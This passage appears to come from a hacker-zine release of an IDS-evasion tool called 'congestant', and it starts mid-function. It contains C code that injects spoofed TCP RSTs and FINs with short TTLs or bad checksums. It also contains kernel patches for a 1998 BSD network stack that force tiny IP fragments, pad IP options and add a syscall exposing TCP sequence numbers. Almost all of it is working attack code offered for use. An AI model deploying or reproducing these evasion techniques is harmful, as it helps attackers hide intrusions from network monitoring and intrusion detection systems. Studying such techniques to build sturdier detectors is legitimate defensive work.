htonl(recvseq),TH_RST, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); DEBUG("Spoofed RSTs with short ttl.\n"); } if (cong_config.data_chk) { cong_send_data(from,to,src,dest,(realseq),recvseq,100,254); DEBUG("Inserted 8K of data with incorrect TCP checksums.\n"); realseq+=1024*8; } if (cong_config.fin_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); DEBUG("Spoofed FINs with incorrect TCP checksums.\n"); } if (cong_config.rst_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); DEBUG("Spoofed RSTs with incorrect TCP checksums.\n"); } #endif /* kernel support */ return result; } <--> <++> congestant/netinet.patch Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h --- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998 +++ netinet/in.h Tue Dec 8 10:48:33 1998 @@ -325,7 +325,10 @@ #define IPCTL_IPPORT_LASTAUTO 8 #define IPCTL_IPPORT_HIFIRSTAUTO 9 #define IPCTL_IPPORT_HILASTAUTO 10 -#define IPCTL_MAXID 11 +#define IPCTL_FRAG_HACK_HEAD 11 +#define IPCTL_FRAG_HACK_BODY 12 +#define IPCTL_OPTIONS_HACK 13 +#define IPCTL_MAXID 14 #define IPCTL_NAMES { \ { 0, 0 }, \ @@ -339,6 +342,9 @@ { "portlast", CTLTYPE_INT }, \ { "porthifirst", CTLTYPE_INT }, \ { "porthilast", CTLTYPE_INT }, \ + { "fraghackhead", CTLTYPE_INT }, \ + { "fraghackbody", CTLTYPE_INT }, \ + { "optionshack", CTLTYPE_INT }, \ } #ifndef _KERNEL diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c --- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998 +++ netinet/ip_input.c Tue Dec 8 10:48:33 1998 @@ -106,6 +106,10 @@ extern int ipport_hilastauto; extern struct baddynamicports baddynamicports; +extern int ip_fraghackhead; +extern int ip_fraghackbody; +extern int ip_optionshack; + extern struct domain inetdomain; extern struct protosw inetsw[]; u_char ip_protox[IPPROTO_MAX]; @@ -1314,6 +1318,15 @@ case IPCTL_IPPORT_HILASTAUTO: return (sysctl_int(oldp, oldlenp, newp, newlen, &ipport_hilastauto)); + case IPCTL_FRAG_HACK_HEAD: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackhead)); + case IPCTL_FRAG_HACK_BODY: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackbody)); + case IPCTL_OPTIONS_HACK: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_optionshack)); default: return (EOPNOTSUPP); } diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c --- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998 +++ netinet/ip_output.c Tue Dec 8 11:00:14 1998 @@ -88,6 +88,10 @@ extern int ipsec_esp_network_default_level; #endif +int ip_fraghackhead=0; +int ip_fraghackbody=0; +int ip_optionshack=0; + /* * IP output. The packet in mbuf chain m contains a skeletal IP * header (with len, off, ttl, proto, tos, src, dst). @@ -124,6 +128,9 @@ struct inpcb *inp; #endif + /* HACK */ + int fakeheadmtu; + va_start(ap, m0); opt = va_arg(ap, struct mbuf *); ro = va_arg(ap, struct route *); @@ -144,7 +151,50 @@ m = ip_insertoptions(m, opt, &len); hlen = len; } + /* HACK */ + else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + { + struct mbuf *n=NULL; + register struct ip* ip= mtod(m, struct ip*); + + if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat) + { + MGETHDR(n, M_DONTWAIT, MT_HEADER); + if (n) + { + n->m_pkthdr.len = m->m_pkthdr.len + 40; + m->m_len -= sizeof(struct ip); + m->m_data += sizeof(struct ip); + n->m_next = m; + m = n; + m->m_len = 40 + sizeof(struct ip); + m->m_data += max_linkhdr; + bcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + } + } + else + { + m->m_data -= 40; + m->m_len += 40; + m->m_pkthdr.len += 40; + ovbcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + n++; /* make n!=0 */ + } + if (n!=0) + { + ip = mtod(m, struct ip *); + memset((caddr_t)(ip+1),0,40); + ip->ip_len += 40; + + hlen=60; + len=60; + } + } + ip = mtod(m, struct ip *); + /* * Fill in IP header. */ @@ -721,7 +771,15 @@ /* * If small enough for interface, can just send directly. */ - if ((u_int16_t)ip->ip_len <= ifp->if_mtu) { + + /* HACK */ + + fakeheadmtu=ifp->if_mtu; + + if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + fakeheadmtu=ip_fraghackhead; + + if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) { ip->ip_len = htons((u_int16_t)ip->ip_len); ip->ip_off = htons((u_int16_t)ip->ip_off); ip->ip_sum = 0; @@ -738,7 +796,10 @@ ipstat.ips_cantfrag++; goto bad; } - len = (ifp->if_mtu - hlen) &~ 7; + +/* HACK */ + + len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7; if (len < 8) { error = EMSGSIZE; goto bad; @@ -748,6 +809,9 @@ int mhlen, firstlen = len; struct mbuf **mnext = &m->m_nextpkt; + /*HACK*/ + int first=0; + /* * Loop through length of segment after first fragment, * make new header and copy data of each part and link onto chain. @@ -755,7 +819,9 @@ m0 = m; mhlen = sizeof (struct ip); for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) { - MGETHDR(m, M_DONTWAIT, MT_HEADER); + if (first && ip_fraghackbody) + len=(ip_fraghackbody-hlen) &~7; + MGETHDR(m, M_DONTWAIT, MT_HEADER); if (m == 0) { error = ENOBUFS; ipstat.ips_odropped++; @@ -791,6 +857,7 @@ mhip->ip_sum = 0; mhip->ip_sum = in_cksum(m, mhlen); ipstat.ips_ofragments++; + first=1; } /* * Update first fragment by trimming what's been copied out Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c --- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998 @@ -465,3 +465,18 @@ if (tp) tp->snd_cwnd = tp->t_maxseg; } + +/* HACK - This is a tcp subroutine added to grab the sequence numbers */ + +void tcp_getseq(struct socket *so, struct mbuf *m) +{ + struct inpcb *inp; + struct tcpcb *tp; + + if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp))) + { + m->m_len=sizeof(unsigned long)*2; + *(mtod(m,unsigned long *))=tp->snd_nxt; + *((mtod(m,unsigned long *))+1)=tp->rcv_nxt; + } +} diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c --- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998 @@ -363,6 +363,10 @@ in_setsockaddr(inp, nam); break; + case PRU_SOCKINFO: + tcp_getseq(so,m); + break; + case PRU_PEERADDR: in_setpeeraddr(inp, nam); break; diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h --- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998 +++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998 @@ -291,6 +291,8 @@ void tcp_pulloutofband __P((struct socket *, struct tcpiphdr *, struct mbuf *)); void tcp_quench __P((struct inpcb *, int)); +/*HACK*/ +void tcp_getseq __P((struct socket *, struct mbuf *)); int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *)); void tcp_respond __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int)); <--> <++> congestant/kern.patch --- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998 +++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998 @@ -924,6 +924,53 @@ } /* + * Get socket information. HACK + */ + +/* ARGSUSED */ +int +sys_getsockinfo(p, v, retval) + struct proc *p; + void *v; + register_t *retval; +{ + register struct sys_getsockinfo_args /* { + syscallarg(int) fdes; + syscallarg(int *) type; + syscallarg(int *) seq; + syscallarg(int *) ack; + } */ *uap = v; + struct file *fp; + register struct socket *so; + struct mbuf *m; + int error; + + if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0) + return (error); + + so = (struct socket *)fp->f_data; + + error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short)); + + if (!error && (so->so_type==SOCK_STREAM)) + { + m = m_getclr(M_WAIT, MT_DATA); + if (m == NULL) + return (ENOBUFS); + + error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0); + + if (!error) + error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long)); + if (!error) + error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long)); + m_freem(m); + } + + return error; +} + +/* * Get name of peer for connected socket. */ /* ARGSUSED */ --- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998 +++ kern/syscalls.master Thu Dec 3 11:14:44 1998 @@ -476,7 +476,8 @@ 240 STD { int sys_nanosleep(const struct timespec *rqtp, \ struct timespec *rmtp); } 241 UNIMPL -242 UNIMPL +242 STD { int sys_getsockinfo(int fdes, int *type, \ + int *seq, int *ack); } 243 UNIMPL 244 UNIMPL 245 UNIMPL <--> <++> congestant/sys.patch --- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998 +++ sys/protosw.h Thu Dec 3 11:16:41 1998 @@ -148,8 +148,8 @@ #define PRU_SLOWTIMO 19 /* 500ms timeout */ #define PRU_PROTORCV 20 /* receive from below */ #define PRU_PROTOSEND 21 /* send to below */ - -#define PRU_NREQ 21 +#define PRU_SOCKINFO 22 +#define PRU_NREQ 22 #ifdef PRUREQUESTS char *prurequests[] = { @@ -158,7 +158,7 @@ "RCVD", "SEND", "ABORT", "CONTROL", "SENSE", "RCVOOB", "SENDOOB", "SOCKADDR", "PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO", - "PROTORCV", "PROTOSEND", + "PROTORCV", "PROTOSEND", "SOCKINFO", }; #endif <--> ----[ EOF